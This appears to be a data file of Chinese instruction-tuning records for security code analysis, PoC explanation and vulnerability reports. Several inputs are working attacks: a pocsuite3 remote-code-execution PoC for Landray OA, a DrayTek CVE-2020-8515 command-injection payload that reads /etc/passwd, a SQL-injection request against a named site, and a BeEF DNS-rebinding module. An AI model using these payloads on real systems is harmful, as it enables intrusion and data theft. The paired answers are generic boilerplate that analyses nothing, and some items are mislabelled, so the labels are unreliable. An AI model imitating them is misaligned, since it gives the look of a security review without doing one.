| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100 |
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n/* Do not modify this file. Changes will be overwritten. */\n/* Generated automatically by the ASN.1 to Wireshark dissector compiler */\n/* packet-ansi_map.c */\n/* asn2wrs.py -b -L -p ansi_map -c ./ansi_map.cnf -s ./packet-ansi_map-template -D . -O ../.. ansi_map.asn */\n\n/* packet-ansi_map.c\n * Routines for ANSI 41 Mobile Application Part (IS41 MAP) dissection\n * Specications from 3GPP2 (www.3gpp2.org)\n * Based on the dissector by :\n * Michael Lum <mlum [AT] telostech.com>\n * In association with Telos Technology Inc.\n *\n * Copyright 2005 - 2009, Anders Broman <anders.broman@ericsson.com>\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n *\n * Credit to Tomas Kukosa for developing the asn2wrs compiler.\n *\n * Title 3GPP2 Other\n *\n * Cellular Radiotelecommunications Intersystem Operations\n * 3GPP2 N.S0005-0 v 1.0 ANSI/TIA/EIA-41-D\n *\n * Network Support for MDN-Based Message Centers\n * 3GPP2 N.S0024-0 v1.0 IS-841\n *\n * Enhanced International Calling\n * 3GPP2 N.S0027 IS-875\n *\n * ANSI-41-D Miscellaneous Enhancements Revision 0\n * 3GPP2 N.S0015 PN-3590 (ANSI-41-E)\n *\n * Authentication Enhancements\n * 3GPP2 N.S0014-0 v1.0 IS-778\n *\n * Features In CDMA\n * 3GPP2 N.S0010-0 v1.0 IS-735\n *\n * OTASP and OTAPA\n * 3GPP2 N.S0011-0 v1.0 IS-725-A\n *\n * Circuit Mode Services\n * 3GPP2 N.S0008-0 v1.0 IS-737\n * XXX SecondInterMSCCircuitID not implemented, parameter ID conflicts with ISLP Information!\n *\n * IMSI\n * 3GPP2 N.S0009-0 v1.0 IS-751\n *\n * WIN Phase 1\n * 3GPP2 N.S0013-0 v1.0 ...", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "解释这个概念验证代码的工作原理", "input": "from collections import OrderedDict\nfrom urllib.parse import urljoin\nimport re,json,random\nfrom pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE\nfrom pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n# 禁用安全请求警告\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\nclass POC(POCBase):\n vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0\n version = '1' #默认为1\n author = [''] # PoC作者的大名\n vulDate = '2022-07-17' #漏洞公开的时间,不知道就写今天\n createDate = '2022-07-17' # 编写 PoC 的日期\n updateDate = '2022-07-17' # PoC 更新的时间,默认和编写时间一样\n references = ['https://github.com/tangxiaofeng7/Landray-OA-Treexml-Rce'] # 漏洞地址来源,0day不用写\n name = '蓝凌OA未授权代码执行漏洞' # PoC 名称\n appPowerLink = 'www.landray.com.cn' # 漏洞厂商主页地址\n appName = 'Landray-OA系统' # 漏洞应用名称\n appVersion = '''未知''' # 漏洞影响版本\n vulType = VUL_TYPE.CODE_EXECUTION #漏洞类型,类型参考见 漏洞类型规范表\n desc = '''\n 蓝凌OA /data/sys-common/treexml.tmpl 功能页面过滤不当，导致可以执行恶意代码，获取系统权限。\n '''\n\n # 漏洞简要描述\n samples = [''] # 测试样列,就是用 PoC 测试成功的网站\n install_requires = [''] # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写\n pocDesc = '''\n 检测:pocsuite -r .\\poc++.py -u url(-f url.txt) --verify \n 利用:pocsuite -r .\\poc++.py -u url(-f url.txt) --attack --command id \n '''\n category = POC_CATEGORY.EXPLOITS.REMOTE\n def _options(self):\n o = OrderedDict()\n o[\"command\"] = OptString(default='whoami',description='输入命令',require=False)\n return o\n \n def _verify(self):\n str_num = str(random.randint(1000000000,9999999999))\n cmd = 'echo '+ str_num\n result = {}\n path = \"/data/sys-common/treexml.tmpl\"\n headers={'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36',\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'cmd': cmd\n ...", "output": "这个PoC代码演示了特定的安全漏洞利用方法，需要谨慎使用。", "category": "poc_explanation", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/><meta http-equiv=\"Pragma\" CONTENT=\"no-cache\"><meta http-equiv=\"Expires\" CONTENT=\"0\"><meta http-equiv=\"CACHE-CONTROL\" CONTENT=\"no-cache\">\n<style type=\"text/css\">\nbody { font-family: Helvetica,Arial;\ncolor:white;}\n\n#_docwrite_login_small7 { white-space:normal; width:258px !important; display:inline-block; }\n#showvault { vertical-align: top; }\n\n/* General */\n.clear {clear:both;font-size:0;height:0;line-height:0;overflow:hidden;}\n\ntable td {\n\tpadding-right:10px;\n\twhite-space:nowrap;\n}\n\n\n\t\n.dropStyle {\n border:thin solid white;\nbackground: #919191 !important; /* for non-css3 browsers */\n background: -webkit-gradient(linear, left top, left bottom, from(#a9a9a9), to(#7a7a7a)); /* for webkit browsers */\n font-weight: bold;\n color: #e7e5e5;\n position:absolute;\n cursor:default;\n text-align:left;\n font-size:12px;\n z-index:10000;\n height:120px;\n overflow:auto;\n }\n.item {\n}\n.focus {\nbackground: #0399d4 !important; /* for non-css3 browsers */\n\tbackground: -webkit-gradient(linear, left top, left bottom, from(#04acec), to(#0186ba)) !important; /* for webkit browsers */\n\tcolor: #fff !important;\n\t-webkit-border-radius: 0;\n\t-moz-border-radius: 0;\n\ttext-shadow: 0 1px 1px rgba(0, 0, 0, .1);\n\tcursor:hand\n}\n\n.item[aria-disabled=\"true\"] {\n color: grey;\n}\n.offscreen {\n position: absolute;\n left: -9000px;\n width: 0;\n overflow: hidden;\n}\n\nbody { padding:20px 10px 0px 50px; font:13px/150% Helvetica, Arial, Tahoma, sans-serif; }\n\nbody{\n\tbackground:url('q3Jrp.png') repeat;\n}\n\n.logintitle{\nfont-size:16px; font-weight:bold; \ntext-shadow:1px 1px 2px #858585\n}\n\n/**.css3button { background-image:url(images/menu_btnsmall.png); height:30px; width:95px; line-height:30px; font-size:12px; color:white; text-align:center;\ncursor:hand;\nfont-weight:bold;\ntext-shadow:1px 1px 2px #858585}\n.css3button:hover { background-image:url(images/menuroll_btnsmall.png); cursor:hand; } **/\n\n.css3button {\n\tfont-fa...", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2015-0155242\n漏洞标题：瑞憶科技某处SQL注入漏洞\n相关厂商：gps.conqueror.cn\n漏洞作者： 路人甲\n提交时间：2015-11-23 15:22\n公开时间：2015-11-28 15:24\n漏洞类型：SQL注射漏洞\n危害等级：高\n自评Rank：12\n漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞\n## 漏洞详情\n ### 披露状态：\n 2015-11-23： 细节已通知厂商并且等待厂商处理中 \n 2015-11-28： 厂商已经主动忽略漏洞，细节向公众公开 \n ### 简要描述：\n ### 详细说明：\n```\nPOST /check.asp HTTP/1.1 \nContent-Length: 123 \nContent-Type: application/x-www-form-urlencoded \nX-Requested-With: XMLHttpRequest \nReferer: http://cp.conqueror.cn \nCookie: ASPSESSIONIDQAATRTCS=BKBBPNBCGFIGKKJOJCLFKAFL \nHost: cp.conqueror.cn \nConnection: Keep-alive \nAccept-Encoding: gzip,deflate \nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 \nAccept: */* \ngroup=-1' OR 1=1* or 'U'=' &image=&password=g00dPa%24%24w0rD&username=vlrbhyks\n```\n ### 漏洞证明：\n ### 修复方案：", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n#\n# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - http://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dns_rebinding < BeEF::Core::Command\n def self.options\n domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')\n dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')\n url_callback = \"http://#{dr_config['address_proxy_external']}:#{dr_config['port_proxy']}\"\n [{\n 'name' => 'target',\n 'value' => '192.168.0.1'\n },\n {\n 'name' => 'domain',\n 'value' => domain\n },\n {\n 'name' => 'url_callback',\n 'value' => url_callback\n }]\n end\n\n def pre_send\n dns = BeEF::Extension::Dns::Server.instance\n dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')\n\n addr = dr_config['address_http_external']\n domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')\n target_addr = '192.168.0.1'\n\n target_addr = @datastore[0]['value'] if @datastore[0]\n domain = @datastore[1]['value'] if @datastore[1]\n\n id = dns.add_rule(\n pattern: domain,\n resource: Resolv::DNS::Resource::IN::A,\n response: [addr, target_addr]\n )\n\n dns.remove_rule!(id)\n\n dns.add_rule(\n pattern: domain,\n resource: Resolv::DNS::Resource::IN::A,\n response: [addr, target_addr]\n )\n end\nend", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2015-0111503\n漏洞标题：香港航空某处信息泄露影响用户数据\n相关厂商：香港航空\n漏洞作者： 路人甲\n提交时间：2015-05-05 07:30\n公开时间：2015-06-22 18:32\n漏洞类型：敏感信息泄露\n危害等级：高\n自评Rank：10\n漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理\n## 漏洞详情\n ### 披露状态：\n 2015-05-05： 细节已通知厂商并且等待厂商处理中 \n 2015-05-08： 厂商已经确认，细节仅向厂商公开 \n 2015-05-18： 细节向核心白帽子及相关领域专家公开 \n 2015-05-28： 细节向普通白帽子公开 \n 2015-06-07： 细节向实习白帽子公开 \n 2015-06-22： 细节向公众公开 \n ### 简要描述：\n 香港航空某处信息泄露\n ### 详细说明：\n```\nhttp://m.hongkongairlines.com/ 这个站svn泄露 手机站整站下载\n```\n随意截几张图 \n里面还有什么容器 插件乱七八糟的 == \n ### 漏洞证明：\n ### 修复方案：\n ..", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "<p>This BurpSuite extension allows you, in a quick and simple way, to improve\nthe active and passive BurpSuite scanner by means of personalized rules\nthrough a very intuitive graphical interface. Through an advanced search of\npatterns and an improvement of the payload to send, we can create our own\nissue profiles both in the active scanner and in the passive.</p>\n\n<p>* Usage manual: <a href=\"https://github.com/wagiro/BurpBounty/wiki/usage\">Wiki</a>.</p>\n\n<p>* You can download profile from: <a href=\"https://github.com/wagiro/BurpBounty/tree/master/profiles\">Github</a>.</p>\n\n<p>* Author's on Twitter: <a href=\"https://twitter.com/BurpBounty\">@BurpBounty</a> <a href=\"https://twitter.com/egarme\">@egarme</a></p>\n\n<p>* More information at: <a href=\"https://burpbounty.net\">https://burpbounty.net</a></p>\n\n\n<p>* If you need more power, I invite you to try the new <b>Burp Bounty Pro</b>, which gives you more power and automation during your manual pentests.</p>", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这篇安全论文的内容", "input": "", "output": "安全论文分析：\n\ntitle:Mind Your Blocks: On the Stealthiness of Malicious BGP Hijacks\nauthor:Pierre-Antoine Vervier and\nOlivier Thonnard and\nMarc Dacier\nMind Your Blocks:\nOn the Stealthiness of Malicious BGP Hijacks\nPierre-Antoine Vervier\nSymantec Research Labs/Eurecom\nOlivier Thonnard\nSymantec Research Labs\nMarc Dacier\nQatar Computing Research Institute\nPierre-Antoine_Vervier@symantec.com\nOlivier_Thonnard@symantec.com\nmdacier@qf.org.qa\nAbstract—Some recent research presented evidence of blocks\nof IP addresses being stolen by BGP hijackers to launch spam\ncampaigns\n[35]. This was the first time BGP hijacks were\nseen in the wild. Since then, only a very few anecdotal cases\nhave been reported as if hackers were not interested in running\nthese attacks. However, it is a common belief among network\noperators and ISPs that these attacks could be taking place\nbut, so far, no one has produced evidence to back up that\nclaim. In this paper, we analyse 18 months of data collected\nby an infrastructure specifically built to answer that question:\nare intentional stealthy BGP hijacks routinely taking place in\nthe Internet? The identification of what we believe to be more\nthan 2,000 malicious hijacks leads to a positive answer. The lack\nof ground truth is, of course, a problem but we managed to get\nconfirmation of some of our findings thanks to an ISP unwittingly\ninvolved in hijack cases we have spotted. This paper aims at\nbeing an eye opener for the community by shedding some light\non this undocumented threat. We also hope that it will spur new\nresearch to understand why these hijacks are taking place and\nhow they can be mitigated. Depending on how BGP attacks are\ncarried out, they can be very disruptive for the whole Internet\nand should be looked at very closely. As of today, as much as\n20% of the whole IPv4 address space is currently allocated but\nnot publicly announced, which makes it potentially vulnerable to\nsuch malicious BGP hijacks.\nI.\nINTRODUCTION\nThe current Internet routing infrastructure is ...", "category": "security_research", "source": "modelscope_security_dataset"}
- {"instruction": "总结这篇安全研究的主要观点", "input": "title:A smart pre-classifier to reduce power consumption of TCAMs for multi-dimensional\npacket classification\nauthor:Yadi Ma and\nSuman Banerjee\nA Smart Pre-Classifier to Reduce Power Consumption of\nTCAMs for Multi-dimensional Packet Classification\nYadi Ma\nUniversity of Wisconsin\nMadison, WI, USA\nyadi@cs.wisc.edu\nSuman Banerjee\nUniversity of Wisconsin\nMadison, WI, USA\nsuman@cs.wisc.edu\nABSTRACT\nTernary Content-Addressable Memories (TCAMs) has become the\nindustrial standard for high-throughput packet classification. How-\never, one major drawback of TCAMs is their high power consump-\ntion, which is becoming critical with the boom of data centers, the\ngrowing classifiers and the deployment of IPv6. In this paper, we\npropose a practical and efficient solution which introduces a smart\npre-classifier to reduce power consumption of TCAMs for multi-\ndimensional packet classification. We reduce the dimension of the\nproblem through the pre-classifier which pre-classifies a packet on\ntwo header fields, source and destination IP addresses. We then re-\nturn to the high dimension problem where only a small portion of a\nTCAM is activated and searched for a given packet. The smart pre-\nclassifier is built in a way such that a given packet matches at most\none entry in the pre-classifier, which make commodity TCAMs\nsufficient to implement the pre-classifier. Furthermore, each rule\nis stored only once in one of the TCAM blocks, which avoids\nrule replication. The presented solution uses commodity TCAMs,\nand the proposed algorithms are easy to implement. Our scheme\nachieves a median power reduction of 91% and an average power\nreduction of 88% on real and synthetic classifiers respectively.\nCategories and Subject Descriptors\nC.2.6 [Computer-Communication Networks]: Internetworking—\nRouters\nKeywords\nPacket classification, SmartPC, power consumption\n1.\nINTRODUCTION\nGiven a set of strictly ordered rules in a classifier, the packet\nclassification problem is to find out the first (highest priority) rule\nthat matc...", "output": "这篇论文提供了重要的安全研究见解，对网络安全防护具有指导意义。", "category": "research_summary", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "/* packet-nettl.c\n * Routines for nettl (HP-UX) record header dissection\n *\n * Original Author Mark C. Brown <mbrown@hp.com>\n * Copyright (C) 2005 Hewlett-Packard Development Company, L.P.\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * Copied from packet-pagp.c\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \"config.h\"\n\n#include <epan/packet.h>\n#include <epan/ipproto.h>\n#include <wiretap/nettl.h>\n\nvoid proto_register_nettl(void);\nvoid proto_reg_handoff_nettl(void);\n\n/* Initialize the protocol and registered fields */\n\nstatic int proto_nettl = -1;\n\nstatic int hf_nettl_subsys = -1;\nstatic int hf_nettl_devid = -1;\nstatic int hf_nettl_kind = -1;\nstatic int hf_nettl_pid = -1;\nstatic int hf_nettl_uid = -1;\n\nstatic dissector_handle_t nettl_handle;\nstatic dissector_handle_t eth_withoutfcs_handle;\nstatic dissector_handle_t tr_handle;\nstatic dissector_handle_t fddi_bitswapped_handle;\nstatic dissector_handle_t lapb_handle;\nstatic dissector_handle_t x25_handle;\nstatic dissector_handle_t sctp_handle;\nstatic dissector_handle_t raw_ip_handle;\nstatic dissector_table_t ip_proto_dissector_table;\nstatic dissector_table_t tcp_subdissector_table;\n\n#define TCP_PORT_TELNET 23\n\n/* Initialize the subtree pointers */\n\nstatic gint ett_nettl = -1;\n\n/* General declarations and macros */\n\nstatic const value_string trace_kind[] = {\n { 0x80000000, \"Incoming Header\" },\n { 0x40000000, \"Outgoing Header\" },\n { 0x20000000, \"Incoming PDU - PDUIN\" },\n { 0x10000000, \"Outgoing PDU - PDUOUT\" },\n { 0x08000000, \"Procedure Trace\" },\n { 0x04000000, \"State Trace\" },\n { 0x02000000, \"Error Trace\" },\n { 0x01000000, \"Logging\" },\n { 0x00800000, \"Loopback\" },\n { 0, NULL }\n};\n\nstatic const value_string subsystem[] = {\n { 0, \"NS_LS_LOGGING\" },\n { 1, \"NS_LS_NFT\" },\n { 2, \"NS_LS_LOOPBACK\" },\n { 3, \"NS_LS_NI\" },\n { 4, \"NS_LS_IPC\" },\n { 5, \"NS_LS_SOCKREGD\" },\n { 6, \"NS_LS_...", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCVE:CVE-2021-29715\nCNNVD:CNNVD-202108-2319\nIBM API Connect（APIConnect）是美国IBM公司的一套用于管理API生命周期的集成解决方案。该产品支持创建、运行、管理和保护API和微服务等。\nIBM API Connect 存在安全漏洞，攻击者可利用该漏洞通过IBM API Connect的Open Ports绕过对数据的访问限制，以获取敏感信息。\nsolution:Upgrade ibm api_connect to a higher version than 5.0.8.11,and avoid the version [5.0.0.0,5.0.8.11]", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "解释这个概念验证代码的工作原理", "input": "name: poc-yaml-draytek-cve-2020-8515\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /cgi-bin/mainfunction.cgi\n headers:\n Content-Type: text/plain; charset=UTF-8\n body: action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2f/etc/passwd%26id%26pwd&loginUser=a&loginPwd=a\n expression: response.status == 200 && response.body.bcontains(b\"uid\") && response.body.bcontains(b\"gid\") && \"root:[x*]:0:0:\".bmatches(response.body)\nexpression: r0()\ndetail:\n author: Soveless(https://github.com/Soveless)\n links:\n - https://github.com/imjdl/CVE-2020-8515-PoC\n Affected Version: Vigor2960, Vigor300B, Vigor3900 < v1.5.1, VigorSwitch20P2121, VigorSwitch20G1280, VigorSwitch20P1280, VigorSwitch20G2280, VigorSwitch20P2280 <= v2.3.2", "output": "这个PoC代码演示了特定的安全漏洞利用方法，需要谨慎使用。", "category": "poc_explanation", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这篇安全论文的内容", "input": "", "output": "安全论文分析：\n\ntitle:An energy efficient circuit level technique to protect register file\nfrom MBUs and SETs in embedded processors\nauthor:Mahdi Fazeli and\nAlireza Namazi and\nSeyed Ghassem Miremadi\n978-1-4244-4421-2/09/$25.00 c(cid:13)2009 IEEE\n195\nAuthorized licensed use limited to: Tsinghua University. Downloaded on March 20,2021 at 09:56:57 UTC from IEEE Xplore. Restrictions apply. \n An Energy Efficient Circuit Level Technique to protect Register File from MBUs and SETs in Embedded Processors M. Fazeli, A. Namazi, S.G. Miremadi Department of Computer Engineering, Sharif University of Technology, Tehran, Iran {m_fazeli, namazi}@ce.sharif.edu, miremadi@sharif.edu Abstract This paper presents a circuit level soft error-tolerant-technique, called RRC (Robust Register Caching), for the register file of embedded processors. The basic idea behind the RRC is to effectively cache the most vulnerable registers in a small highly robust register cache built by circuit level SEU and SET protected memory cells. To decide which cache entry should be replaced, the average number of read operations during a register ACE time is used as a criterion to judge. In fact, the victim cache entry is one which has the maximum read count. To minimize the power overhead of the RRC, the clock gating technique is efficiently exploited for the main register file resulting in significantly low power consumption. The RRC is able to protect the register file not only against Single Bit Upsets (SBUs) but also against Multiple Bit Upsets (MBUs) and Single Event Transients (SETs). The RRC is experimentally evaluated using the LEON processor. The experimental results show that, if the cache size is selected properly, the Architectural Vulnerability Factor (AVF) of the register file becomes about 1% while it imposes low power, area and performance overheads to the processor. 1. Introduction High energy particle strikes have severely challenged the reliability of today’s embedded processors [19][20]. Until re...", "category": "security_research", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2011-02447\n漏洞标题：网易邮箱跨站\n相关厂商：网易\n漏洞作者： aba0\n提交时间：2011-07-12 11:03\n公开时间：2011-08-11 12:00\n漏洞类型：xss跨站脚本攻击\n危害等级：高\n自评Rank：10\n漏洞状态：厂商已经确认\n## 漏洞详情\n ### 披露状态：\n 2011-07-12： 细节已通知厂商并且等待厂商处理中 \n 2011-07-12： 厂商已经确认，细节仅向厂商公开 \n 2011-07-22： 细节向核心白帽子及相关领域专家公开 \n 2011-08-01： 细节向普通白帽子公开 \n 2011-08-11： 细节向实习白帽子公开 \n 2011-08-11： 细节向公众公开 \n ### 简要描述：\n 过滤不严\n ### 详细说明：\n 跨站漏洞没啥好说的 \n ### 漏洞证明：\n http://ccie2373.blog.163.com/blog/static/1655631422011612105828622/ \n ### 修复方案：\n 这个 薄雾 懂的", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)\nSee the file 'LICENSE' for copying permission\n\"\"\"\n\nimport re\n\nfrom lib.core.enums import PRIORITY\n\n__priority__ = PRIORITY.LOW\n\ndef dependencies():\n pass\n\ndef tamper(payload, **kwargs):\n \"\"\"\n HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')\n\n >>> tamper(\"1' AND SLEEP(5)#\")\n '1' AND SLEEP(5)#'\n >>> tamper(\"1' AND SLEEP(5)#\")\n '1' AND SLEEP(5)#'\n \"\"\"\n\n if payload:\n payload = re.sub(r\"&#(\\d+);\", lambda match: chr(int(match.group(1))), payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5203\n payload = re.sub(r\"[^\\w]\", lambda match: \"&#%d;\" % ord(match.group(0)), payload)\n\n return payload", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## unholy (reversing, 4 points, 68 solves)\n\tpython or ruby? why not both! \nIn this task we got a Ruby program, refering to shared library unholy.so. The program\nmixed Ruby and Python code (and native code from the library).\nQuick analysis of `main.rb` file showed that the program had a basic structure of typical\nkeygenme: get flag, tell if flag is good. We had to reverse the `is_key_correct` function.\nStarting at the end, we noticed that it calls Python interpreter with the following code:\n```\nexec \"\"\"\nimport struct\ne=range\nI=len\nimport sys\nF=sys.exit\nX=[[%d,%d,%d], [%d,%d,%d], [%d,%d,%d]]\nY = [[383212,38297,8201833], [382494 ,348234985,3492834886], [3842947 ,984328,38423942839]]\nn=[5034563854941868,252734795015555591,55088063485350767967, -2770438152229037,142904135684288795,-33469734302639376803, -3633507310795117,195138776204250759,-34639402662163370450]\ny=[[0,0,0],[0,0,0],[0,0,0]]\nA=[0,0,0,0,0,0,0,0,0]\nfor i in e(I(X)):\n for j in e(I(Y[0])):\n for k in e(I(Y)):\n y[i][j]+=X[i][k]*Y[k][j]\nc=0\nfor r in y:\n for x in r:\n if x!=n[c]:\n print \"dang...\"\n F(47)\n c=c+1\nprint \":)\"\n\"\"\"\n```\nIt seems that we need to solve for X - it had `%d`'s in it, and assembly code called \n`sprintf` before, so it's probably our input, possibly after some processing.\nThe above Python code was simply multiplying `X` with `Y` and then comparing \nwith `n` - all three being 3x3 matrices. Using numpy we quickly solved the `X*Y=n` equation\nthrough tranforming it to equivalent equation `X=n*inv(Y)`.\nOK, so now we got X. It did not look as ASCII or anything, so we had to look into unholy.so\nto see what it really was. The most of the code was just parsing and changing internal number\nrepresentations - nothing really interesting. At some point, there was a lot of xors and shifts\nwith some constants - something that looked like a cipher of some kind. Googling one of the\nconstants (0xc6ef3720) revealed that it was XTEA algorithm. We found the decryption function\nimplementation and wrote a C++ co...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "<!-- This file is malformed to make sure Nokogiri can process it -->\n\n<head profile=\"http://gmpg.org/xfn/11\">\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n <meta property=\"fb:page_id\" content=\"18968879441564\"/>\n <title>wp.lab</title>\n <link rel=\"alternate\" type=\"application/rss+xml\" title=\"Example RSS Feed\" href=\"http://wp.lab/feed\"/>\n <script type='text/javascript' src='http://platform.twitter.com/widgets.js?ver=1.0.0'></script>\n\n <!-- Plugins which should be detected from Links-->\n <link rel='stylesheet' href='https://wp.lab/wp-content/plugins/dl-1/cache/7f81.css?m=12' type='text/css' media='screen'/>\n <link rel=\"stylesheet\" href=\"/wp-content/plugins/dl-2/css/frontend.css?ver=3.9.2\"/>\n\n <script type='text/javascript' src='http://wp.lab/wp-content/plugins/dl-3/s2member-o.php?ws=1'></script>\n\n <script type='text/javascript' src='/wp-content/plugins/dl-4/main.js'></script>\n <!-- Duplicate, dl-4 should only be detected once -->\n <script type='text/javascript' src='/wp-content/plugins/dl-4/main2.js'></script>\n\n <!-- in scope domain -->\n <link rel=\"stylesheet\" href=\"http://sub.lab/wp-content/plugins/dl-5/css/\"/>\n\n <!-- Should not be detected -->\n <link rel=\"stylesheet\" href=\"https://wp.lab/wp-content/plugins//css/\"/>\n <link rel=\"stylesheet\" href=\"http://sub.lab/wp-content/plugins/ /aa/\"/>\n <a href=\"http://wp.lab/wp-content/plugins/somefile.php\">It should not be detected</a>\n <script type='text/javascript' src='https://out-of-scope.lab/wp-content/plugins/should-not-be-detected/s.js'></script>\n\n\n <!-- Plugins which should be detected from Code -->\n\n <style type=\"text/css\">\n #fancybox-loading.fancybox-ie div {\n background: transparent;\n filter: AlphaImageLoader(src='http://wp.lab/wp-content/plugins/dc-1/fancybox/fancy_loading.png', sizingMethod='scale');\n }\n </style>\n\n <style type=\"text/css\" media=\"all\">\n /* <![CDATA[ */\n @import url(\"https://wp.lab/wp-content/plugins/dc-2/css/plugin.css?ver=1.9.4\");\n ...", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 8. 状态（State）\n### Intent\n允许对象在内部状态改变时改变它的行为，对象看起来好像修改了它所属的类。\n### Class Diagram\n<div align=\"center\"> <img src=\"https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/79df886f-fdc3-4020-a07f-c991bb58e0d8.png\"/> </div><br>\n### Implementation\n糖果销售机有多种状态，每种状态下销售机有不同的行为，状态可以发生转移，使得销售机的行为也发生改变。\n<div align=\"center\"> <img src=\"https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/396be981-3f2c-4fd9-8101-dbf9c841504b.jpg\" width=\"600\"/> </div><br>\n```java\npublic interface State {\n /**\n * 投入 25 分钱\n */\n void insertQuarter();\n /**\n * 退回 25 分钱\n */\n void ejectQuarter();\n /**\n * 转动曲柄\n */\n void turnCrank();\n /**\n * 发放糖果\n */\n void dispense();\n}\n```\n```java\npublic class HasQuarterState implements State {\n private GumballMachine gumballMachine;\n public HasQuarterState(GumballMachine gumballMachine) {\n this.gumballMachine = gumballMachine;\n }\n @Override\n public void insertQuarter() {\n System.out.println(\"You can't insert another quarter\");\n }\n @Override\n public void ejectQuarter() {\n System.out.println(\"Quarter returned\");\n gumballMachine.setState(gumballMachine.getNoQuarterState());\n }\n @Override\n public void turnCrank() {\n System.out.println(\"You turned...\");\n gumballMachine.setState(gumballMachine.getSoldState());\n }\n @Override\n public void dispense() {\n System.out.println(\"No gumball dispensed\");\n }\n}\n```\n```java\npublic class NoQuarterState implements State {\n GumballMachine gumballMachine;\n public NoQuarterState(GumballMachine gumballMachine) {\n this.gumballMachine = gumballMachine;\n }\n @Override\n public void insertQuarter() {\n System.out.println(\"You insert a quarter\");\n gumballMachine.setState(gumballMachine.getHasQuarterState());\n }\n @Override\n public void ejectQuarter() {\n System.out.println(\"You haven't insert a quarter\");\n }\n @Override\n public void turnCrank() ...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
